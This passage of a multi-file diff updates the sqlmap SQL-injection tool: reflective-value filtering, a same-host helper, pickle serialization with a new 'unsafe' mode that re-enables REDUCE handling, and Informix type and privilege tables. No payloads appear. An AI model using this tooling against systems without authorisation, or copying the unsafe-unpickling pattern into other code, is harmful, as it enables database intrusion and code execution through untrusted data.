        regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item))
        while extractRegexResult(regex, retVal):
            value = extractRegexResult(regex, retVal)
@@ -3126,14 +3323,6 @@ def intersect(valueA, valueB, lowerCase=False):

    return retVal

-def cpuThrottle(value):
-    """
-    Does a CPU throttling for lesser CPU consumption
-    """
-
-    delay = 0.00001 * (value ** 2)
-    time.sleep(delay)
-
 def removeReflectiveValues(content, payload, suppressWarning=False):
    """
    Neutralizes reflective values in a given content based on a payload
@@ -3142,59 +3331,65 @@ def removeReflectiveValues(content, payload, suppressWarning=False):

    retVal = content

-    if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode:
-        def _(value):
-            while 2 * REFLECTED_REPLACEMENT_REGEX in value:
-                value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
-            return value
+    try:
+        if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode:
+            def _(value):
+                while 2 * REFLECTED_REPLACEMENT_REGEX in value:
+                    value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
+                return value

-        payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ''), convall=True))
-        regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape")))
+            payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ''), convall=True))
+            regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape")))

-        if regex != payload:
-            if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]):  # fast optimization check
-                parts = regex.split(REFLECTED_REPLACEMENT_REGEX)
-                retVal = content.replace(payload, REFLECTED_VALUE_MARKER)  # dummy approach
+            if regex != payload:
+                if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]):  # fast optimization check
+                    parts = regex.split(REFLECTED_REPLACEMENT_REGEX)
+                    retVal = content.replace(payload, REFLECTED_VALUE_MARKER)  # dummy approach

-                if len(parts) > REFLECTED_MAX_REGEX_PARTS:  # preventing CPU hogs
-                    regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:])))
+                    if len(parts) > REFLECTED_MAX_REGEX_PARTS:  # preventing CPU hogs
+                        regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:])))

-                parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))
+                    parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))

-                if regex.startswith(REFLECTED_REPLACEMENT_REGEX):
-                    regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):])
-                else:
-                    regex = r"\b%s" % regex
+                    if regex.startswith(REFLECTED_REPLACEMENT_REGEX):
+                        regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):])
+                    else:
+                        regex = r"\b%s" % regex

-                if regex.endswith(REFLECTED_REPLACEMENT_REGEX):
-                    regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX)
-                else:
-                    regex = r"%s\b" % regex
+                    if regex.endswith(REFLECTED_REPLACEMENT_REGEX):
+                        regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX)
+                    else:
+                        regex = r"%s\b" % regex

-                retVal = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, retVal)
+                    retVal = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, retVal)

-                if len(parts) > 2:
-                    regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:])
-                    retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, retVal)
+                    if len(parts) > 2:
+                        regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:])
+                        retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, retVal)

-            if retVal != content:
-                kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1
-                if not suppressWarning:
-                    warnMsg = "reflective value(s) found and filtering out"
-                    singleTimeWarnMessage(warnMsg)
-
-                if re.search(r"FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal, re.I):
-                    warnMsg = "frames detected containing attacked parameter values. Please be sure to "
-                    warnMsg += "test those separately in case that attack on this page fails"
-                    singleTimeWarnMessage(warnMsg)
-
-            elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]:
-                kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1
-                if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD:
-                    kb.reflectiveMechanism = False
+                if retVal != content:
+                    kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1
                    if not suppressWarning:
-                        debugMsg = "turning off reflection removal mechanism (for optimization purposes)"
-                        logger.debug(debugMsg)
+                        warnMsg = "reflective value(s) found and filtering out"
+                        singleTimeWarnMessage(warnMsg)
+
+                    if re.search(r"FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal, re.I):
+                        warnMsg = "frames detected containing attacked parameter values. Please be sure to "
+                        warnMsg += "test those separately in case that attack on this page fails"
+                        singleTimeWarnMessage(warnMsg)
+
+                elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]:
+                    kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1
+                    if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD:
+                        kb.reflectiveMechanism = False
+                        if not suppressWarning:
+                            debugMsg = "turning off reflection removal mechanism (for optimization purposes)"
+                            logger.debug(debugMsg)
+    except MemoryError:
+        kb.reflectiveMechanism = False
+        if not suppressWarning:
+            debugMsg = "turning off reflection removal mechanism (because of low memory issues)"
+            logger.debug(debugMsg)

    return retVal

@@ -3231,7 +3426,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
                retVal = "\"%s\"" % retVal.strip("\"")
            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                retVal = "\"%s\"" % retVal.strip("\"").upper()
-            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and not re.match(r"\A\w+\Z", retVal, re.U):
+            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
                retVal = "[%s]" % retVal.strip("[]")

        if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
@@ -3448,6 +3643,7 @@ def randomizeParameterValue(value):

    return retVal

+@cachedmethod
 def asciifyUrl(url, forceQuote=False):
    """
    Attempts to make a unicode URL usuable with ``urllib/urllib2``.
@@ -3519,7 +3715,7 @@ def asciifyUrl(url, forceQuote=False):

 def isAdminFromPrivileges(privileges):
    """
-    Inspects privileges to see if those are comming from an admin user
+    Inspects privileges to see if those are coming from an admin user
    """

    # In PostgreSQL the usesuper privilege means that the
@@ -3540,7 +3736,6 @@ def isAdminFromPrivileges(privileges):

    # In Firebird there is no specific privilege that means
    # that the user is DBA
-    # TODO: confirm
    retVal |= (Backend.isDbms(DBMS.FIREBIRD) and all(_ in privileges for _ in ("SELECT", "INSERT", "UPDATE", "DELETE", "REFERENCES", "EXECUTE")))

    return retVal
@@ -3598,6 +3793,11 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
                                    item.selected = True
                                break

+                if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
+                    dbgMsg = "skipping '%s'" % form.action
+                    logger.debug(dbgMsg)
+                    continue
+
                request = form.click()
            except (ValueError, TypeError), ex:
                errMsg = "there has been a problem while "
@@ -3618,7 +3818,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
                    continue

                # flag to know if we are dealing with the same target host
-                _ = reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], (response.geturl(), url)))
+                _ = checkSameHost(response.geturl(), url)

                if conf.scope:
                    if not re.search(conf.scope, url, re.I):
@@ -3641,6 +3841,23 @@ def findPageForms(content, url, raise_=False, addToTargets=False):

    return retVal

+def checkSameHost(*urls):
+    """
+    Returns True if all provided urls share that same host
+
+    >>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target.com/images/page2.php')
+    True
+    >>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target2.com/images/page2.php')
+    False
+    """
+
+    if not urls:
+        return None
+    elif len(urls) == 1:
+        return True
+    else:
+        return all(urlparse.urlparse(url or "").netloc.split(':')[0] == urlparse.urlparse(urls[0] or "").netloc.split(':')[0] for url in urls[1:])
+
 def getHostHeader(url):
    """
    Returns proper Host header value for a given target URL
@@ -3710,6 +3927,13 @@ def evaluateCode(code, variables=None):
 def serializeObject(object_):
    """
    Serializes given object
+
+    >>> serializeObject([1, 2, 3, ('a', 'b')])
+    'gAJdcQEoSwFLAksDVQFhVQFihnECZS4='
+    >>> serializeObject(None)
+    'gAJOLg=='
+    >>> serializeObject('foobar')
+    'gAJVBmZvb2JhcnEBLg=='
    """

    return base64pickle(object_)
@@ -3720,6 +3944,8 @@ def unserializeObject(value):

    >>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3]
    True
+    >>> unserializeObject('gAJVBmZvb2JhcnEBLg==')
+    'foobar'
    """

    return base64unpickle(value) if value else None
@@ -3766,6 +3992,8 @@ def decodeHexValue(value, raw=False):

    >>> decodeHexValue('3132332031')
    u'123 1'
+    >>> decodeHexValue(['0x31', '0x32'])
+    [u'1', u'2']
    """

    retVal = value
@@ -3870,7 +4098,7 @@ def resetCookieJar(cookieJar):

                content = readCachedFileContent(conf.loadCookies)
                lines = filter(None, (line.strip() for line in content.split("\n") if not line.startswith('#')))
-                handle, filename = tempfile.mkstemp(prefix="sqlmapcj-")
+                handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR)
                os.close(handle)

                # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html
@@ -3942,8 +4170,11 @@ def getRequestHeader(request, name):
    """

    retVal = None
+
    if request and name:
-        retVal = max(value if name.upper() == key.upper() else None for key, value in request.header_items())
+        _ = name.upper()
+        retVal = max([value if _ == key.upper() else None for key, value in request.header_items()])
+
    return retVal

 def isNumber(value):
@@ -1,17 +1,22 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

+try:
+    import cPickle as pickle
+except:
+    import pickle
+finally:
+    import pickle as picklePy
+
 import base64
 import json
-import pickle
 import re
 import StringIO
 import sys
-import types

 from lib.core.settings import IS_WIN
 from lib.core.settings import UNICODE_ENCODING
@@ -42,7 +47,7 @@ def base64pickle(value):
    Serializes (with pickle) and encodes to Base64 format supplied (binary) value

    >>> base64pickle('foobar')
-    'gAJVBmZvb2JhcnEALg=='
+    'gAJVBmZvb2JhcnEBLg=='
    """

    retVal = None
@@ -61,11 +66,11 @@ def base64pickle(value):

    return retVal

-def base64unpickle(value):
+def base64unpickle(value, unsafe=False):
    """
    Decodes value from Base64 to plain format and deserializes (with pickle) its content

-    >>> base64unpickle('gAJVBmZvb2JhcnEALg==')
+    >>> base64unpickle('gAJVBmZvb2JhcnEBLg==')
    'foobar'
    """

@@ -79,9 +84,12 @@ def base64unpickle(value):
        self.load_reduce()

    def loads(str):
-        file = StringIO.StringIO(str)
-        unpickler = pickle.Unpickler(file)
-        unpickler.dispatch[pickle.REDUCE] = _
+        f = StringIO.StringIO(str)
+        if unsafe:
+            unpickler = picklePy.Unpickler(f)
+            unpickler.dispatch[picklePy.REDUCE] = _
+        else:
+            unpickler = pickle.Unpickler(f)
        return unpickler.load()

    try:
@@ -161,7 +169,7 @@ def htmlunescape(value):
        codes = (('&lt;', '<'), ('&gt;', '>'), ('&quot;', '"'), ('&nbsp;', ' '), ('&amp;', '&'))
        retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal)
        try:
-            retVal = re.sub(r"&#x([^;]+);", lambda match: unichr(int(match.group(1), 16)), retVal)
+            retVal = re.sub(r"&#x([^ ;]+);", lambda match: unichr(int(match.group(1), 16)), retVal)
        except ValueError:
            pass
    return retVal
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,15 +1,13 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

 import copy
 import types

-from lib.core.exception import SqlmapDataException
-
 class AttribDict(dict):
    """
    This class defines the sqlmap object, inheriting from Python data
@@ -43,7 +41,7 @@ class AttribDict(dict):
        try:
            return self.__getitem__(item)
        except KeyError:
-            raise SqlmapDataException("unable to access item '%s'" % item)
+            raise AttributeError("unable to access item '%s'" % item)

    def __setattr__(self, item, value):
        """
@@ -93,6 +91,7 @@ class InjectionDict(AttribDict):
        self.prefix = None
        self.suffix = None
        self.clause = None
+        self.notes = []  # Note: https://github.com/sqlmapproject/sqlmap/issues/1888

        # data is a dict with various stype, each which is a dict with
        # all the information specific for that stype
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -15,10 +15,13 @@ def cachedmethod(f, cache={}):
    def _(*args, **kwargs):
        try:
            key = (f, tuple(args), frozenset(kwargs.items()))
+            if key not in cache:
+                cache[key] = f(*args, **kwargs)
        except:
            key = "".join(str(_) for _ in (f, args, kwargs))
-        if key not in cache:
-            cache[key] = f(*args, **kwargs)
+            if key not in cache:
+                cache[key] = f(*args, **kwargs)
+
        return cache[key]

    return _
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -11,7 +11,6 @@ _defaults = {
   "csvDel":       ",",
   "timeSec":      5,
   "googlePage":   1,
-   "cpuThrottle":  5,
   "verbose":      1,
   "delay":        0,
   "timeout":      30,
@@ -22,7 +21,7 @@ _defaults = {
   "risk":         1,
   "dumpFormat":   "CSV",
   "tech":         "BEUSTQ",
-   "torType":      "HTTP",
+   "torType":      "SOCKS5",
 }

 defaults = AttribDict(_defaults)
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -21,219 +21,267 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import INFORMIX_ALIASES

 FIREBIRD_TYPES = {
-                    261: "BLOB",
-                    14: "CHAR",
-                    40: "CSTRING",
-                    11: "D_FLOAT",
-                    27: "DOUBLE",
-                    10: "FLOAT",
-                    16: "INT64",
-                    8: "INTEGER",
-                    9: "QUAD",
-                    7: "SMALLINT",
-                    12: "DATE",
-                    13: "TIME",
-                    35: "TIMESTAMP",
-                    37: "VARCHAR",
-                }
+    261: "BLOB",
+    14: "CHAR",
+    40: "CSTRING",
+    11: "D_FLOAT",
+    27: "DOUBLE",
+    10: "FLOAT",
+    16: "INT64",
+    8: "INTEGER",
+    9: "QUAD",
+    7: "SMALLINT",
+    12: "DATE",
+    13: "TIME",
+    35: "TIMESTAMP",
+    37: "VARCHAR",
+}
+
+INFORMIX_TYPES = {
+    0: "CHAR",
+    1: "SMALLINT",
+    2: "INTEGER",
+    3: "FLOAT",
+    4: "SMALLFLOAT",
+    5: "DECIMAL",
+    6: "SERIAL",
+    7: "DATE",
+    8: "MONEY",
+    9: "NULL",
+    10: "DATETIME",
+    11: "BYTE",
+    12: "TEXT",
+    13: "VARCHAR",
+    14: "INTERVAL",
+    15: "NCHAR",
+    16: "NVARCHAR",
+    17: "INT8",
+    18: "SERIAL8",
+    19: "SET",
+    20: "MULTISET",
+    21: "LIST",
+    22: "ROW (unnamed)",
+    23: "COLLECTION",
+    40: "Variable-length opaque type",
+    41: "Fixed-length opaque type",
+    43: "LVARCHAR",
+    45: "BOOLEAN",
+    52: "BIGINT",
+    53: "BIGSERIAL",
+    2061: "IDSSECURITYLABEL",
+    4118: "ROW (named)",
+}

 SYBASE_TYPES = {
-                    14: "floatn",
-                    8: "float",
-                    15: "datetimn",
-                    12: "datetime",
-                    23: "real",
-                    28: "numericn",
-                    10: "numeric",
-                    27: "decimaln",
-                    26: "decimal",
-                    17: "moneyn",
-                    11: "money",
-                    21: "smallmoney",
-                    22: "smalldatetime",
-                    13: "intn",
-                    7: "int",
-                    6: "smallint",
-                    5: "tinyint",
-                    16: "bit",
-                    2: "varchar",
-                    18: "sysname",
-                    25: "nvarchar",
-                    1: "char",
-                    24: "nchar",
-                    4: "varbinary",
-                    80: "timestamp",
-                    3: "binary",
-                    19: "text",
-                    20: "image",
-                }
+    14: "floatn",
+    8: "float",
+    15: "datetimn",
+    12: "datetime",
+    23: "real",
+    28: "numericn",
+    10: "numeric",
+    27: "decimaln",
+    26: "decimal",
+    17: "moneyn",
+    11: "money",
+    21: "smallmoney",
+    22: "smalldatetime",
+    13: "intn",
+    7: "int",
+    6: "smallint",
+    5: "tinyint",
+    16: "bit",
+    2: "varchar",
+    18: "sysname",
+    25: "nvarchar",
+    1: "char",
+    24: "nchar",
+    4: "varbinary",
+    80: "timestamp",
+    3: "binary",
+    19: "text",
+    20: "image",
+}

 MYSQL_PRIVS = {
-                    1: "select_priv",
-                    2: "insert_priv",
-                    3: "update_priv",
-                    4: "delete_priv",
-                    5: "create_priv",
-                    6: "drop_priv",
-                    7: "reload_priv",
-                    8: "shutdown_priv",
-                    9: "process_priv",
-                    10: "file_priv",
-                    11: "grant_priv",
-                    12: "references_priv",
-                    13: "index_priv",
-                    14: "alter_priv",
-                    15: "show_db_priv",
-                    16: "super_priv",
-                    17: "create_tmp_table_priv",
-                    18: "lock_tables_priv",
-                    19: "execute_priv",
-                    20: "repl_slave_priv",
-                    21: "repl_client_priv",
-                    22: "create_view_priv",
-                    23: "show_view_priv",
-                    24: "create_routine_priv",
-                    25: "alter_routine_priv",
-                    26: "create_user_priv",
-                }
+    1: "select_priv",
+    2: "insert_priv",
+    3: "update_priv",
+    4: "delete_priv",
+    5: "create_priv",
+    6: "drop_priv",
+    7: "reload_priv",
+    8: "shutdown_priv",
+    9: "process_priv",
+    10: "file_priv",
+    11: "grant_priv",
+    12: "references_priv",
+    13: "index_priv",
+    14: "alter_priv",
+    15: "show_db_priv",
+    16: "super_priv",
+    17: "create_tmp_table_priv",
+    18: "lock_tables_priv",
+    19: "execute_priv",
+    20: "repl_slave_priv",
+    21: "repl_client_priv",
+    22: "create_view_priv",
+    23: "show_view_priv",
+    24: "create_routine_priv",
+    25: "alter_routine_priv",
+    26: "create_user_priv",
+}

 PGSQL_PRIVS = {
-                    1: "createdb",
-                    2: "super",
-                    3: "catupd",
-                }
+    1: "createdb",
+    2: "super",
+    3: "catupd",
+}

 # Reference(s): http://stackoverflow.com/a/17672504
 #               http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES

 FIREBIRD_PRIVS = {
-                    "S": "SELECT",
-                    "I": "INSERT",
-                    "U": "UPDATE",
-                    "D": "DELETE",
-                    "R": "REFERENCE",
-                    "E": "EXECUTE",
-                    "X": "EXECUTE",
-                    "A": "ALL",
-                    "M": "MEMBER",
-                    "T": "DECRYPT",
-                    "E": "ENCRYPT",
-                    "B": "SUBSCRIBE",
-                }
+    "S": "SELECT",
+    "I": "INSERT",
+    "U": "UPDATE",
+    "D": "DELETE",
+    "R": "REFERENCE",
+    "X": "EXECUTE",
+    "A": "ALL",
+    "M": "MEMBER",
+    "T": "DECRYPT",
+    "E": "ENCRYPT",
+    "B": "SUBSCRIBE",
+}
+
+# Reference(s): https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sqls.doc/ids_sqs_0147.htm
+#               https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_077.htm
+
+INFORMIX_PRIVS = {
+    "D": "DBA (all privileges)",
+    "R": "RESOURCE (create UDRs, UDTs, permanent tables and indexes)",
+    "C": "CONNECT (work with existing tables)",
+    "G": "ROLE",
+    "U": "DEFAULT (implicit connection)",
+}

 DB2_PRIVS = {
-                    1: "CONTROLAUTH",
-                    2: "ALTERAUTH",
-                    3: "DELETEAUTH",
-                    4: "INDEXAUTH",
-                    5: "INSERTAUTH",
-                    6: "REFAUTH",
-                    7: "SELECTAUTH",
-                    8: "UPDATEAUTH",
-           }
+    1: "CONTROLAUTH",
+    2: "ALTERAUTH",
+    3: "DELETEAUTH",
+    4: "INDEXAUTH",
+    5: "INSERTAUTH",
+    6: "REFAUTH",
+    7: "SELECTAUTH",
+    8: "UPDATEAUTH",
+}

 DUMP_REPLACEMENTS = {" ": NULL, "": BLANK}

 DBMS_DICT = {
-                DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "mssql+pymssql"),
-                DBMS.MYSQL: (MYSQL_ALIASES, "python pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
-                DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
-                DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
-                DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
-                DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/", "access"),
-                DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
-                DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
-                DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"),
-                DBMS.DB2: (DB2_ALIASES, "python ibm-db", "http://code.google.com/p/ibm-db/", "ibm_db_sa"),
-                DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
-            }
+    DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"),
+    DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
+    DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
+    DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
+    DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
+    DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
+    DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
+    DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
+    DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
+    DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
+    DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
+    DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
+}

 FROM_DUMMY_TABLE = {
-                        DBMS.ORACLE: " FROM DUAL",
-                        DBMS.ACCESS: " FROM MSysAccessObjects",
-                        DBMS.FIREBIRD: " FROM RDB$DATABASE",
-                        DBMS.MAXDB: " FROM VERSIONS",
-                        DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
-                        DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS"
-                   }
+    DBMS.ORACLE: " FROM DUAL",
+    DBMS.ACCESS: " FROM MSysAccessObjects",
+    DBMS.FIREBIRD: " FROM RDB$DATABASE",
+    DBMS.MAXDB: " FROM VERSIONS",
+    DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
+    DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
+    DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
+}

 SQL_STATEMENTS = {
-                        "SQL SELECT statement":  (
-                             "select ",
-                             "show ",
-                             " top ",
-                             " distinct ",
-                             " from ",
-                             " from dual",
-                             " where ",
-                             " group by ",
-                             " order by ",
-                             " having ",
-                             " limit ",
-                             " offset ",
-                             " union all ",
-                             " rownum as ",
-                             "(case ",           ),
+    "SQL SELECT statement":  (
+            "select ",
+            "show ",
+            " top ",
+            " distinct ",
+            " from ",
+            " from dual",
+            " where ",
+            " group by ",
+            " order by ",
+            " having ",
+            " limit ",
+            " offset ",
+            " union all ",
+            " rownum as ",
+            "(case ",        ),

-                         "SQL data definition":  (
-                             "create ",
-                             "declare ",
-                             "drop ",
-                             "truncate ",
-                             "alter ",           ),
+    "SQL data definition":   (
+        "create ",
+        "declare ",
+        "drop ",
+        "truncate ",
+        "alter ",            ),

-                        "SQL data manipulation": (
-                             "bulk ",
-                             "insert ",
-                             "update ",
-                             "delete ",
-                             "merge ",
-                             "load ",            ),
+    "SQL data manipulation": (
+            "bulk ",
+            "insert ",
+            "update ",
+            "delete ",
+            "merge ",
+            "load ",         ),

-                        "SQL data control":      (
-                             "grant ",
-                             "revoke ",          ),
+    "SQL data control":      (
+            "grant ",
+            "revoke ",       ),

-                        "SQL data execution":    (
-                             "exec ",
-                             "execute ",
-                             "values ", 
-                             "call ",            ),
+    "SQL data execution":    (
+            "exec ",
+            "execute ",
+            "values ", 
+            "call ",         ),

-                        "SQL transaction":       (
-                             "start transaction ",
-                             "begin work ",
-                             "begin transaction ",
-                             "commit ",
-                             "rollback ",        ),
-                     }
+    "SQL transaction":       (
+            "start transaction ",
+            "begin work ",
+            "begin transaction ",
+            "commit ",
+            "rollback ",     ),
+}

 POST_HINT_CONTENT_TYPES = {
-                                POST_HINT.JSON: "application/json",
-                                POST_HINT.JSON_LIKE: "application/json",
-                                POST_HINT.MULTIPART: "multipart/form-data",
-                                POST_HINT.SOAP: "application/soap+xml",
-                                POST_HINT.XML: "application/xml",
-                                POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8",
-                          }
+    POST_HINT.JSON: "application/json",
+    POST_HINT.JSON_LIKE: "application/json",
+    POST_HINT.MULTIPART: "multipart/form-data",
+    POST_HINT.SOAP: "application/soap+xml",
+    POST_HINT.XML: "application/xml",
+    POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8",
+}

 DEPRECATED_OPTIONS = {
-                        "--replicate": "use '--dump-format=SQLITE' instead",
-                        "--no-unescape": "use '--no-escape' instead",
-                        "--binary": "use '--binary-fields' instead",
-                        "--auth-private": "use '--auth-file' instead",
-                        "--check-payload": None,
-                        "--check-waf": None,
-                     }
+    "--replicate": "use '--dump-format=SQLITE' instead",
+    "--no-unescape": "use '--no-escape' instead",
+    "--binary": "use '--binary-fields' instead",
+    "--auth-private": "use '--auth-file' instead",
+    "--check-payload": None,
+    "--check-waf": None,
+}

 DUMP_DATA_PREPROCESS = {
-                            DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"},  # Reference: https://www.tibcommunity.com/docs/DOC-3643
-                            DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
-                       }
+    DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"},  # Reference: https://www.tibcommunity.com/docs/DOC-3643
+    DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
+}

 DEFAULT_DOC_ROOTS = {
-                        OS.WINDOWS: ("C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"),
